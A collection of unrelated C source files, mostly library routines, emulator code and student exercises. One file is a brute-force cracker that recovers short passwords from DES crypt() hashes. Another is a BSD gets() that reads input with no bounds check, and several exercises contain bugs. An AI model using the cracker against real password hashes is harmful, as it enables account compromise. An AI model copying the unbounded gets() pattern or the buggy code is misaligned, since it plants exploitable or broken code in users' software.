setDependent(e, "cl_voice_directional", 0.5, -0.5);
me.TR(me);
sl = makeNexuizSlider(0.15, 1, 0.05, "cl_autotaunt");
sl.valueDisplayMultiplier = 100;
sl.valueDigits = 0;
me.TD(me, 1, 1, e = makeNexuizSliderCheckBox(0, 1, sl, "Automatic taunts"));
if(sl.value != e.savedValue)
e.savedValue = 0.65; // default
me.TR(me);
me.TD(me, 1, 3, e = makeNexuizTextLabel(0.1, "Frequency:"));
me.TD(me, 1, 2, sl);
me.TR(me);
me.TR(me);
me.TD(me, 1, 1, e = makeNexuizTextLabel(0, "Time warning:"));
me.TD(me, 1, 2, e = makeNexuizTextSlider("cl_sound_maptime_warning"));
e.addValue(e, "None", "0");
e.addValue(e, "1 minute", "1");
e.addValue(e, "5 minutes", "2");
e.addValue(e, "Both", "3");
e.configureNexuizTextSliderValues(e);
me.TR(me);
me.TD(me, 1, 3, e = makeNexuizCheckBox(0, "cl_hitsound", "Hit indicator"));
me.gotoRC(me, me.rows - 1, 0);
me.TD(me, 1, me.columns, makeNexuizCommandButton("Apply immediately", '0 0 0', "snd_restart; sendcvar cl_hitsound; sendcvar cl_autotaunt; sendcvar cl_voice_directional; sendcvar cl_voice_directional_taunt_attenuation", COMMANDBUTTON_APPLY));
}
#endif
|
the_stack_data/154826931.c
|
/*
** EPITECH PROJECT, 2018
** Project
** File description:
** str_toupper.c
*/
#include <stddef.h>
#include <ctype.h>
void str_toupper(char *str)
{
size_t idx = 0;
while (str && str[idx]) {
str[idx] = (char) toupper(str[idx]);
idx++;
}
}
|
the_stack_data/40762429.c
|
/* origin: musl src/math/fmod.c */
#include <stdint.h>
double fmod(double x, double y)
{
union {double f; uint64_t i;} ux = {x}, uy = {y};
int ex = ux.i>>52 & 0x7ff;
int ey = uy.i>>52 & 0x7ff;
int sx = ux.i>>63;
uint64_t i;
/* in the followings uxi should be ux.i, but then gcc wrongly adds */
/* float load/store to inner loops ruining performance and code size */
uint64_t uxi = ux.i;
if (uy.i<<1 == 0 || isnan(y) || ex == 0x7ff)
return (x*y)/(x*y);
if (uxi<<1 <= uy.i<<1) {
if (uxi<<1 == uy.i<<1)
return 0*x;
return x;
}
/* normalize x and y */
if (!ex) {
for (i = uxi<<12; i>>63 == 0; ex--, i <<= 1);
uxi <<= -ex + 1;
} else {
uxi &= -1ULL >> 12;
uxi |= 1ULL << 52;
}
if (!ey) {
for (i = uy.i<<12; i>>63 == 0; ey--, i <<= 1);
uy.i <<= -ey + 1;
} else {
uy.i &= -1ULL >> 12;
uy.i |= 1ULL << 52;
}
/* x mod y */
for (; ex > ey; ex--) {
i = uxi - uy.i;
if (i >> 63 == 0) {
if (i == 0)
return 0*x;
uxi = i;
}
uxi <<= 1;
}
i = uxi - uy.i;
if (i >> 63 == 0) {
if (i == 0)
return 0*x;
uxi = i;
}
for (; uxi>>52 == 0; uxi <<= 1, ex--);
/* scale result */
if (ex > 0) {
uxi -= 1ULL << 52;
uxi |= (uint64_t)ex << 52;
} else {
uxi >>= -ex + 1;
}
uxi |= (uint64_t)sx << 63;
ux.i = uxi;
return ux.f;
}
|
the_stack_data/212642244.c
|
/* Example: C program to find area of a circle */
#include <stdio.h>
#define PI 3.14159
int main()
{
float r, a, b;
printf("Enter radius (in mm):\n");
scanf("%f", &r);
r = r / 25.4;
a = PI * r * r;
b = 2 * PI * r;
printf("Circle's area is %3.2f (sq in).\n", a);
printf("Its circumference is %3.2f (in).\n", b);
}
|
the_stack_data/26625.c
|
#define _XOPEN_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[])
{
char vector[] = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l',
'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z',
'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L',
'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '\0'};
char salt[] = {argv[1][0], argv[1][1], '\0'};
int c = 0;
for(int i = 0, n = strlen(vector); i < n; i++)
{
char random_password[] = {vector[i]};
if (strcmp(crypt(random_password, salt), argv[1]) == 0)
{
printf("%s\n", random_password);
return 0;
}
for(int j = 0; j < n; j++)
{
char random_password[] = {vector[i], vector[j]};
if (strcmp(crypt(random_password, salt), argv[1]) == 0)
{
printf("%s\n", random_password);
return 0;
}
for(int k = 0; k < n; k++)
{
char random_password[] = {vector[i], vector[j], vector[k]};
if (strcmp(crypt(random_password, salt), argv[1]) == 0)
{
printf("%s\n", random_password);
return 0;
}
for(int l = 0; l < n; l++)
{
c++;
char random_password[] = {vector[i], vector[j], vector[k], vector[l]};
if (strcmp(crypt(random_password, salt), argv[1]) == 0)
{
printf("%s\n", random_password);
return 0;
}
}
}
}
}
printf("\n");
return 1;
}
|
the_stack_data/178266788.c
|
/* ************************************************************************** */
/* */
/* ::: :::::::: */
/* print_sudoku.c :+: :+: :+: */
/* +:+ +:+ +:+ */
/* By: lprior <[email protected]> +#+ +:+ +#+ */
/* +#+#+#+#+#+ +#+ */
/* Created: 2017/07/09 23:20:56 by bvautour #+# #+# */
/* Updated: 2017/11/27 16:30:01 by lprior ### ########.fr */
/* */
/* ************************************************************************** */
#include <unistd.h>
void print_sudoku(char **argv)
{
int i;
int j;
i = 0;
while (i < 9)
{
j = 0;
while (j < 9)
{
write(1, (argv[i] + j), 1);
if (j < 8)
write(1, " ", 1);
else
write(1, "\n", 1);
j++;
}
i++;
}
return ;
}
|
the_stack_data/25137537.c
|
#include <stdio.h>
int main(void){
int rsum, csum = 0, i, j, five[5][5] = {0};
for (i=0; i < 5; i++){
printf("Enter row %d: ", i + 1);
for (j=0; j < 5; j++){
scanf("%d", &five[i][j]);
}
}
printf("Row totals:\t");
for (i=0; i < 5; i++){
rsum = 0;
for (j=0; j < 5; j++){
rsum += five[i][j];
}
printf("%d ", rsum);
}
printf("\n");
printf("Coloumn totals:\t");
for (i = 0; i < 5; i++){
csum=0;
for (j = 0; j < 5; j++){
csum += five[j][i];
}
printf("%d ", csum);
}
printf("\n");
return 0;
}
|
the_stack_data/1177703.c
|
#include "stdio.h"
int main() {
int n;
scanf("%d",&n);
switch(n){
case 1:
printf("one");
break;
case 2:
printf("two");
break;
case 3:
printf("three");
break;
case 4:
printf("four");
break;
case 5:
printf("five");
break;
case 6:
printf("six");
break;
case 7:
printf("seven");
break;
case 8:
printf("eight");
break;
case 9:
printf("nine");
break;
case 0:
printf("zero");
break;
default:
printf("wrong");
break;
}
return 0;
}
|
the_stack_data/31386757.c
|
/* Given two sorted arrays nums1 and nums2 of size m and n
respectively, return the median of the two sorted arrays */
#include<stdio.h>
#include<stdlib.h>
double findMedianSortedArrays(int * arr1, int n, int * arr2, int m);
int main() {
int n, m;
// accepting the sizes
printf("Enter sizes of both arrays: ");
scanf("%d %d", & n, & m);
int * arr1 = (int *) malloc(sizeof(int) * n);
int * arr2 = (int *) malloc(sizeof(int) * m);
// accepting the array elements
printf("Enter elements of first array: ");
for (int i = 0; i < n; i++) {
scanf("%d ", arr1 + i);
}
printf("Enter elements of second array: ");
for (int i = 0; i < m; i++) {
scanf("%d ", arr2 + i);
}
// print the median
printf("Median of two arrays is %f",
findMedianSortedArrays(arr1, n, arr2, m));
return 0;
}
// function to find the median of two arrays
double findMedianSortedArrays(int * arr1, int n, int * arr2, int m) {
// create a new array to store the two arrays
int arr3Size = n + m;
int * arr3 = (int *) malloc(sizeof(int) * arr3Size);
int j = 0, k = 0;
// if arraysize is 0 then return 0
if (arr3Size == 0)
return 0;
// if any arraysize is 0 then store the other array in arr3
else if (n == 0) {
for (int i = 0; i < m; i++) {
arr3[i] = arr2[i];
}
} else if (m == 0) {
for (int i = 0; i < n; i++) {
arr3[i] = arr1[i];
}
} else {
// now store the two arrays in the new created array
for (int i = 0; i < arr3Size; i++) {
if (k == m && j < n) {
arr3[i] = arr1[j];
j++;
} else if (j == n && k < m) {
arr3[i] = arr2[k];
k++;
} else if (arr2[k] < arr1[j]) {
arr3[i] = arr2[k];
k++;
} else if (arr1[j] <= arr2[k]) {
arr3[i] = arr1[j];
j++;
}
}
}
if (arr3Size == 1)
return arr3[0];
// if array size is even then return mid element
else if (arr3Size % 2 == 0) {
int index = arr3Size / 2;
double median = (arr3[index - 1] + arr3[index]) / (double) 2;
return median;
} else {
return arr3[arr3Size / 2];
}
// return -1 if none of the conditions satisfy
return -1;
}
/*
Time complexity: O(n)
Space complexity: O(n)
Example 1:
Input:
Enter sizes of both arrays:
2 1
Enter elements of first array:
1 3
Enter elements of second array:
2
Output:
Median of two arrays is 2.00000
Example 2:
Input:
Enter sizes of both arrays:
5 3
Enter elements of first array:
1 5 7 8 9
Enter elements of second array:
2 4 4
Output:
Median of two arrays is 4.50000
*/
|
the_stack_data/95449002.c
|
/* This testcase is part of GDB, the GNU debugger.
Copyright 2009-2016 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>. */
#include <pthread.h>
#include <unistd.h>
#include <stdlib.h>
void *
thread_function (void *arg)
{
/* We'll next over this, with scheduler-locking off. */
pthread_exit (NULL);
}
void
hop_me (void)
{
}
int
main (int argc, char **argv)
{
pthread_t thread;
pthread_create (&thread, NULL, thread_function, NULL);
pthread_join (thread, NULL); /* wait for exit */
/* The main thread should be able to hop over the breakpoint set
here... */
hop_me (); /* set thread specific breakpoint here */
/* ... and reach here. */
exit (0); /* set exit breakpoint here */
}
|
the_stack_data/608047.c
|
#include <stdio.h>
#include <math.h>
#include <stdbool.h>
#include <string.h>
#include <stdlib.h>
#define NUM_OF_POINTS 4
/** Set index in the loop that the index was moving in a circle.
* Example:
* 1 2 3 4
* 2 3 4 1
* 3 4 1 2
* 4 3 2 1
*/
#define set_index(i, num) \
((i+num) >= (NUM_OF_POINTS) ? ((i - NUM_OF_POINTS) + num) : (i+num))
/**
* struct point - Is used for saving parameters of point .
* @name: Name of the point.
* @x: x coordinate.
* @y: y coordinate.
*
* This structure saves parameters of point for comfortable using.
*/
struct point {
char name;
float x;
float y;
};
/**
* struct triangle - Is used for saving the parameters of triangle.
* @side1: size of side1.
* @side2: size of side2.
* @side3: size of side3.
* @area: area of triangle.
*
*
* This structure saves parameters of point for comfortable using.
*/
struct triangle {
float side1;
float side2;
float side3;
float area;
};
typedef struct point point;
typedef struct triangle triangle;
/**
* enter_points() - sets parameters of point.
* @current_point: Pointer to the structure point.
*
* Sets x and y coordinates in the structure poit.
*
* Context: Sets x and y coordinates using scanf().
*/
void enter_points(point *current_point)
{
printf("Enter points coordinate for %c:\nx = ", current_point->name);
scanf("%f", ¤t_point->x);
printf("y = ");
scanf("%f", ¤t_point->y);
printf("%c: (x y) = (%.2f %.2f)\n", current_point->name,
current_point->x, current_point->y);
}
/**
* enter_points() - reads file.
* @fileName: Pointer to the name of file wich
* contains coordinates of points.
*
* Context: Reads file and writes content to buffer.
*
* Return: buffer which contains content of file
*/
char *read_file(char *fileName)
{
FILE *fp = fopen(fileName, "r");
if(NULL == fp) {
fprintf(stderr, "File not found!\n");
return NULL;
}
// Size of file
fseek(fp, 0L, SEEK_END);
long size = ftell(fp);
fseek(fp, 0L, SEEK_SET);
// Create buffer
char *buffer = (char *)malloc(size);
if (NULL == buffer) {
fprintf(stderr, "Failed!\n");
return NULL;
}
memset(buffer, 0, size);
fread(buffer, 1, size, fp);
fclose(fp);
return buffer;
}
/**
* set_side() - calc side of triangle.
* @p1: Pointer to the first structure point.
* @p2: Pointer to the second structure point.
*
* Context: Calc length of side.
*
* Return: Length of side
*/
float set_side(point *p1, point *p2)
{
float length;
float p1p2_x = p2->x - p1->x;
float p1p2_y = p2->y - p1->y;
length = sqrt(pow(p1p2_x, 2) + pow(p1p2_y, 2));
return length;
}
/**
* set_area() - set area in structure triangle.
* @current_triangle: Pointer to the structure triangle.
*
* Context: Calc area of triangle with known three sides.
*/
void set_area(triangle *current_triangle)
{
float a = current_triangle->side1;
float b = current_triangle->side2;
float c = current_triangle->side3;
// Semiperimeter
float p = (float)(a + b + c) / 2;
current_triangle->area = sqrt(p * (p - a) * (p - b) * (p - c));
}
/**
* new_triangle() - creates struct triangle.
* @p1: Pointer to the first structure point.
* @p2: Pointer to the second structure point.
* @p3: Pointer to the third structure point.
*
* Context: Creates structure triangle using structures points.
*
* Return: struct triangle
*/
triangle new_triangle(point *p1, point *p2, point *p3)
{
triangle current_triangle;
current_triangle.side1 = set_side(p1, p2);
current_triangle.side2 = set_side(p2, p3);
current_triangle.side3 = set_side(p3, p1);
set_area(¤t_triangle);
return current_triangle;
}
/**
* check_point() - checks, is the point outside or in the triangle.
* @tr_p1: Pointer to the first structure point.
* @tr_p2: Pointer to the second structure point.
* @tr_p3: Pointer to the third structure point.
* @ex_p: Pointer to the fourth structure point which is checked.
*
* Context: The first three points are points of triangle
and the fourth is point to check.
*
* Return: true - if point in and false if outside.
*/
bool check_point(point *tr_p1, point *tr_p2, point *tr_p3, point *ex_p)
{
triangle main_tr = new_triangle(tr_p1, tr_p2, tr_p3);
triangle ex_tr1 = new_triangle(tr_p1, tr_p2, ex_p);
triangle ex_tr2 = new_triangle(tr_p1, ex_p, tr_p3);
triangle ex_tr3 = new_triangle(ex_p, tr_p2, tr_p3);
float sum_of_areas = ex_tr1.area + ex_tr2.area + ex_tr3.area;
// The difference must be equal to 0 if the point is in the triangle
float diff = main_tr.area - sum_of_areas;
// Checking difference, taking into measurement error in calculations
if (diff <= 1e-3 && diff >= -1e-3) {
return true;
}
return false;
}
int main(int argc, char *argv[])
{
point point_a;
point point_b;
point point_c;
point point_d;
// For comfortable using
point *ptr_plist[] = {&point_a, &point_b, &point_c, &point_d};
for (int i = 0; i < NUM_OF_POINTS; i++) {
ptr_plist[i]->name = 'A' + i;
}
char *buf = NULL;
// If we use reading from file
if (argc > 1) {
int size = strlen(argv[1]);
char *fileName = malloc(size + 7);
if (NULL == fileName) {
fprintf(stderr, "Failed!\n");
return 1;
}
strncpy(fileName, "./", 3);
strncat(fileName, argv[1], size);
buf = read_file(fileName);
if (NULL == buf) {
fprintf(stderr, "File %s is not found!\n", fileName);
}
free(fileName);
}
// If the file was opened
if (buf != NULL) {
char *nums = strtok(buf," \n");
float f[4][2];
for (int i = 0; i < 4; i++) {
for (int k = 0; k < 2; k++) {
f[i][k] = atof(nums);
nums = strtok(NULL, " \n");
}
}
for (int i = 0; i < NUM_OF_POINTS; i++) {
ptr_plist[i]->x = f[i][0];
ptr_plist[i]->y = f[i][1];
}
free(buf);
} else {
// If we dont use reading from file or file was not opened
for (int i = 0; i < NUM_OF_POINTS; i++) {
enter_points(ptr_plist[i]);
}
}
for (int i = 0; i < NUM_OF_POINTS; i++) {
bool res = check_point(ptr_plist[i], ptr_plist[set_index(i, 1)],
ptr_plist[set_index(i, 2)], ptr_plist[set_index(i, 3)]);
if (res) {
printf("Point %c:(%.2f %.2f) in %c%c%c\n",
ptr_plist[set_index(i, 3)]->name,
ptr_plist[set_index(i, 3)]->x,
ptr_plist[set_index(i, 3)]->y,
ptr_plist[i]->name,
ptr_plist[set_index(i, 1)]->name,
ptr_plist[set_index(i, 2)]->name);
} else {
printf("Point %c:(%.2f %.2f) outside %c%c%c\n",
ptr_plist[set_index(i, 3)]->name,
ptr_plist[set_index(i, 3)]->x,
ptr_plist[set_index(i, 3)]->y,
ptr_plist[i]->name,
ptr_plist[set_index(i, 1)]->name,
ptr_plist[set_index(i, 2)]->name);
}
}
return 0;
}
|
the_stack_data/184519436.c
|
#include <stdio.h>
int n,order[1000000],c,orderc[1000000],j;//c = curreent value of n in each test case. ; j=Position of Josh
//orderc[]=changed order
void inputOrder();
void reorder(int j);
void kill(int atp);
void clear(int arr[1000000]);
int main()
{
int t,atp,f,last,jpos;//atp=Attacking Position ; t=no. of test cases. ;
scanf("%d",&t);
while(t>0)
{
scanf("%d",&n);
c=n;
inputOrder();
scanf("%d",&f);
atp=0;
for(j=0;j<=n;++j)//Positions of Josh
{
jpos=j;
reorder(j);
while(c>2)
{
if(atp!=j)
kill(atp);
}
//Attack by Chefland's full firepower F
orderc[j]+=f;
if(j==0)last=1;
else last=0;
if(orderc[last]<=f)
{
printf("possible\n");
printf("%d %d\n",jpos,orderc[j]);
break;
}
if(orderc[last]>f && j==n)
{
printf("impossible\n");
}
clear(orderc);
}
clear(order);
clear(orderc);
--t;
}
return 0;
}
void inputOrder()
{
int i;
for(i=0;i<n-1;++i)
{
scanf("%d",&order[i]);
}
}
void reorder(int j)
{
int i;
for(i=0;i<n-1;++i)
{
orderc[i]=order[i];
}
for(i=n-2;i>=j;--i)
{
orderc[i+1]=orderc[i];
}
orderc[j]=0;
}
void kill(int atp)
{
int i;
if(atp<=c-2 && (atp+1)!=j)
{
for(i=atp+1;i<c-1;++i) { orderc[i]=orderc[i+1]; }
orderc[c-1]=NULL;
c=c-1;
if(atp<j)--j;
}
if(atp==c-1 && j!=0)
{
for(i=0;i<c-1;++i) { orderc[i]=orderc[i+1]; }
orderc[c-1]=NULL;
c=c-1;--j;
}
if(atp<=c-2 && (atp+1)==j) { orderc[j]= orderc[j] + orderc[atp]; }
if(atp==c-1 && j==0) { orderc[j]= orderc[j] + orderc[atp]; }
}
void clear(int arr[1000000])
{
int i=0;
while(arr[i]!=NULL)
{
arr[i]=NULL;
++i;
}
}
|
the_stack_data/25138521.c
|
// PARAM: --set ana.activated "['base','threadid','threadflag','escape','uninit','mallocWrapper']" --set exp.privatization none
typedef union {
double i;
int j;
} S;
int main(){
S s;
s.i = 0; // NOWARN
return s.j; // WARN
}
|
the_stack_data/448215.c
|
/*-
* Copyright (c) 1990, 1993
* The Regents of the University of California. All rights reserved.
*
* This code is derived from software contributed to Berkeley by
* Chris Torek.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. All advertising materials mentioning features or use of this software
* must display the following acknowledgement:
* This product includes software developed by the University of
* California, Berkeley and its contributors.
* 4. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND
* ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
* IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
* ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE
* FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
* OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*/
#include <stdio.h>
//__warn_references(gets,
// "warning: gets() is very unsafe; consider using fgets()");
char *
gets(buf)
char *buf;
{
register int c;
register char *s;
for (s = buf; (c = getchar()) != '\n';)
if (c == EOF)
if (s == buf)
return (NULL);
else
break;
else
*s++ = c;
*s = 0;
return (buf);
}
|
the_stack_data/173579068.c
|
/***
*mbsnbcpy.c - Copy one string to another, n bytes only (MBCS)
*
* Copyright (c) Microsoft Corporation. All rights reserved.
*
*Purpose:
* Copy one string to another, n bytes only (MBCS)
*
*******************************************************************************/
#ifdef _MBCS
#include <mtdll.h>
#include <cruntime.h>
#include <string.h>
#include <mbdata.h>
#include <mbctype.h>
#include <mbstring.h>
#include <internal.h>
#include <locale.h>
#include <setlocal.h>
/***
* _mbsnbcpy - Copy one string to another, n bytes only (MBCS)
*
*Purpose:
* Copies exactly cnt bytes from src to dst. If strlen(src) < cnt, the
* remaining character are padded with null bytes. If strlen >= cnt, no
* terminating null byte is added. 2-byte MBCS characters are handled
* correctly.
*
*Entry:
* unsigned char *dst = destination for copy
* unsigned char *src = source for copy
* int cnt = number of bytes to copy
*
*Exit:
* returns dst = destination of copy
*
*Exceptions:
* Input parameters are validated. Refer to the validation section of the function.
*
*******************************************************************************/
unsigned char * __cdecl _mbsnbcpy_l(
unsigned char *dst,
const unsigned char *src,
size_t cnt,
_locale_t plocinfo
)
{
unsigned char *start = dst;
_LocaleUpdate _loc_update(plocinfo);
/* validation section */
_VALIDATE_RETURN(dst != NULL || cnt == 0, EINVAL, NULL);
_VALIDATE_RETURN(src != NULL || cnt == 0, EINVAL, NULL);
_BEGIN_SECURE_CRT_DEPRECATION_DISABLE
if (_loc_update.GetLocaleT()->mbcinfo->ismbcodepage == 0)
return (unsigned char *)strncpy((char *)dst, (const char *)src, cnt);
_END_SECURE_CRT_DEPRECATION_DISABLE
while (cnt) {
cnt--;
if ( _ismbblead_l(*src, _loc_update.GetLocaleT()) ) {
*dst++ = *src++;
if (!cnt) {
dst[-1] = '\0';
break;
}
cnt--;
if ((*dst++ = *src++) == '\0') {
dst[-2] = '\0';
break;
}
}
else
if ((*dst++ = *src++) == '\0')
break;
}
/* pad with nulls as needed */
while (cnt--)
*dst++ = '\0';
return start;
}
unsigned char * (__cdecl _mbsnbcpy)(
unsigned char *dst,
const unsigned char *src,
size_t cnt
)
{
_BEGIN_SECURE_CRT_DEPRECATION_DISABLE
return _mbsnbcpy_l(dst, src, cnt, NULL);
_END_SECURE_CRT_DEPRECATION_DISABLE
}
#endif /* _MBCS */
|
the_stack_data/121382.c
|
#include <stdio.h>
#include <stdlib.h>
int main(){
float n;
printf("Digite o angulo em Rad:");
scanf("%f",&n);
printf("\nAngulo em Graus: %.2f\n\n", n = n * 180/3.14);
system("PAUSE");
return 0;
}
|
the_stack_data/29633.c
|
/*****************************************************************************
*
* z80.c
* Portable Z80 emulator V3.9
*
* Copyright Juergen Buchmueller, all rights reserved.
*
* - This source code is released as freeware for non-commercial purposes.
* - You are free to use and redistribute this code in modified or
* unmodified form, provided you list me in the credits.
* - If you modify this source code, you must add a notice to each modified
* source file that it has been changed. If you're a nice person, you
* will clearly mark each change too. :)
* - If you wish to use this for commercial purposes, please contact me at
* [email protected]
* - The author of this copywritten work reserves the right to change the
* terms of its usage and license at any time, including retroactively
* - This entire notice must remain in the source code.
*
* TODO:
* - If LD A,I or LD A,R is interrupted, P/V flag gets reset, even if IFF2
* was set before this instruction
* - Ideally, the tiny differences between Z80 types should be supported,
* currently known differences:
* - LD A,I/R P/V flag reset glitch is fixed on CMOS Z80
* - OUT (C),0 outputs 0 on NMOS Z80, $FF on CMOS Z80
* - SCF/CCF X/Y flags is ((flags | A) & 0x28) on SGS/SHARP/ZiLOG NMOS Z80,
* (flags & A & 0x28) on NEC NMOS Z80, other models unknown.
* However, people from the Speccy scene mention that SCF/CCF X/Y results
* are inconsistant and may be influenced by I and R registers.
* This Z80 emulator assumes a ZiLOG NMOS model.
*
* Additional changes [Eke-Eke]:
* - Removed z80_burn function (unused)
* - Discarded multi-chip support (unused)
* - Fixed cycle counting for FD and DD prefixed instructions
* - Fixed behavior of chained FD and DD prefixes (R register should be only incremented by one
* - Implemented cycle-accurate INI/IND (needed by SMS emulation)
* - Fixed Z80 reset
* - Made SZHVC_add & SZHVC_sub tables statically allocated
* - Fixed compiler warning when BIG_SWITCH is defined
* Changes in 3.9:
* - Fixed cycle counts for LD IYL/IXL/IYH/IXH,n [Marshmellow]
* - Fixed X/Y flags in CCF/SCF/BIT, ZEXALL is happy now [hap]
* - Simplified DAA, renamed MEMPTR (3.8) to WZ, added TODO [hap]
* - Fixed IM2 interrupt cycles [eke]
* Changes in 3.8 [Miodrag Milanovic]:
* - Added MEMPTR register (according to informations provided
* by Vladimir Kladov
* - BIT n,(HL) now return valid values due to use of MEMPTR
* - Fixed BIT 6,(XY+o) undocumented instructions
* Changes in 3.7 [Aaron Giles]:
* - Changed NMI handling. NMIs are now latched in set_irq_state
* but are not taken there. Instead they are taken at the start of the
* execute loop.
* - Changed IRQ handling. IRQ state is set in set_irq_state but not taken
* except during the inner execute loop.
* - Removed x86 assembly hacks and obsolete timing loop catchers.
* Changes in 3.6:
* - Got rid of the code that would inexactly emulate a Z80, i.e. removed
* all the #if Z80_EXACT #else branches.
* - Removed leading underscores from local register name shortcuts as
* this violates the C99 standard.
* - Renamed the registers inside the Z80 context to lower case to avoid
* ambiguities (shortcuts would have had the same names as the fields
* of the structure).
* Changes in 3.5:
* - Implemented OTIR, INIR, etc. without look-up table for PF flag.
* [Ramsoft, Sean Young]
* Changes in 3.4:
* - Removed Z80-MSX specific code as it's not needed any more.
* - Implemented DAA without look-up table [Ramsoft, Sean Young]
* Changes in 3.3:
* - Fixed undocumented flags XF & YF in the non-asm versions of CP,
* and all the 16 bit arithmetic instructions. [Sean Young]
* Changes in 3.2:
* - Fixed undocumented flags XF & YF of RRCA, and CF and HF of
* INI/IND/OUTI/OUTD/INIR/INDR/OTIR/OTDR [Sean Young]
* Changes in 3.1:
* - removed the REPEAT_AT_ONCE execution of LDIR/CPIR etc. opcodes
* for readabilities sake and because the implementation was buggy
* (and I was not able to find the difference)
* Changes in 3.0:
* - 'finished' switch to dynamically overrideable cycle count tables
* Changes in 2.9:
* - added methods to access and override the cycle count tables
* - fixed handling and timing of multiple DD/FD prefixed opcodes
* Changes in 2.8:
* - OUTI/OUTD/OTIR/OTDR also pre-decrement the B register now.
* This was wrong because of a bug fix on the wrong side
* (astrocade sound driver).
* Changes in 2.7:
* - removed z80_vm specific code, it's not needed (and never was).
* Changes in 2.6:
* - BUSY_LOOP_HACKS needed to call change_pc() earlier, before
* checking the opcodes at the new address, because otherwise they
* might access the old (wrong or even NULL) banked memory region.
* Thanks to Sean Young for finding this nasty bug.
* Changes in 2.5:
* - Burning cycles always adjusts the ICount by a multiple of 4.
* - In REPEAT_AT_ONCE cases the R register wasn't incremented twice
* per repetition as it should have been. Those repeated opcodes
* could also underflow the ICount.
* - Simplified TIME_LOOP_HACKS for BC and added two more for DE + HL
* timing loops. I think those hacks weren't endian safe before too.
* Changes in 2.4:
* - z80_reset zaps the entire context, sets IX and IY to 0xffff(!) and
* sets the Z flag. With these changes the Tehkan World Cup driver
* _seems_ to work again.
* Changes in 2.3:
* - External termination of the execution loop calls z80_burn() and
* z80_vm_burn() to burn an amount of cycles (R adjustment)
* - Shortcuts which burn CPU cycles (BUSY_LOOP_HACKS and TIME_LOOP_HACKS)
* now also adjust the R register depending on the skipped opcodes.
* Changes in 2.2:
* - Fixed bugs in CPL, SCF and CCF instructions flag handling.
* - Changed variable EA and ARG16() function to UINT32; this
* produces slightly more efficient code.
* - The DD/FD XY CB opcodes where XY is 40-7F and Y is not 6/E
* are changed to calls to the X6/XE opcodes to reduce object size.
* They're hardly ever used so this should not yield a speed penalty.
* New in 2.0:
* - Optional more exact Z80 emulation (#define Z80_EXACT 1) according
* to a detailed description by Sean Young which can be found at:
* http://www.msxnet.org/tech/z80-documented.pdf
*****************************************************************************/
#ifdef WITH_GXZ80
#include <string.h>
#include <assert.h>
#include "z80.h"
/* execute main opcodes inside a big switch statement */
#define BIG_SWITCH 1
#define VERBOSE 0
#if VERBOSE
#define LOG(x) logerror x
#else
#define LOG(x)
#endif
#define cpu_readop(a) z80_readmap[(a) >> 10][(a) & 0x03FF]
#define cpu_readop_arg(a) z80_readmap[(a) >> 10][(a) & 0x03FF]
#define CF 0x01
#define NF 0x02
#define PF 0x04
#define VF PF
#define XF 0x08
#define HF 0x10
#define YF 0x20
#define ZF 0x40
#define SF 0x80
#define INT_IRQ 0x01
#define NMI_IRQ 0x02
#define PCD Z80.pc.d
#define PC Z80.pc.w.l
#define SPD Z80.sp.d
#define SP Z80.sp.w.l
#define AFD Z80.af.d
#define AF Z80.af.w.l
#define A Z80.af.b.h
#define F Z80.af.b.l
#define BCD Z80.bc.d
#define BC Z80.bc.w.l
#define B Z80.bc.b.h
#define C Z80.bc.b.l
#define DED Z80.de.d
#define DE Z80.de.w.l
#define D Z80.de.b.h
#define E Z80.de.b.l
#define HLD Z80.hl.d
#define HL Z80.hl.w.l
#define H Z80.hl.b.h
#define L Z80.hl.b.l
#define IXD Z80.ix.d
#define IX Z80.ix.w.l
#define HX Z80.ix.b.h
#define LX Z80.ix.b.l
#define IYD Z80.iy.d
#define IY Z80.iy.w.l
#define HY Z80.iy.b.h
#define LY Z80.iy.b.l
#define WZ Z80.wz.w.l
#define WZ_H Z80.wz.b.h
#define WZ_L Z80.wz.b.l
#define I Z80.i
#define R Z80.r
#define R2 Z80.r2
#define IM Z80.im
#define IFF1 Z80.iff1
#define IFF2 Z80.iff2
#define HALT Z80.halt
#ifdef Z80_OVERCLOCK_SHIFT
#define USE_CYCLES(A) Z80.cycles += ((A) * z80_cycle_ratio) >> Z80_OVERCLOCK_SHIFT
UINT32 z80_cycle_ratio;
#else
#define USE_CYCLES(A) Z80.cycles += (A)
#endif
Z80_Regs Z80;
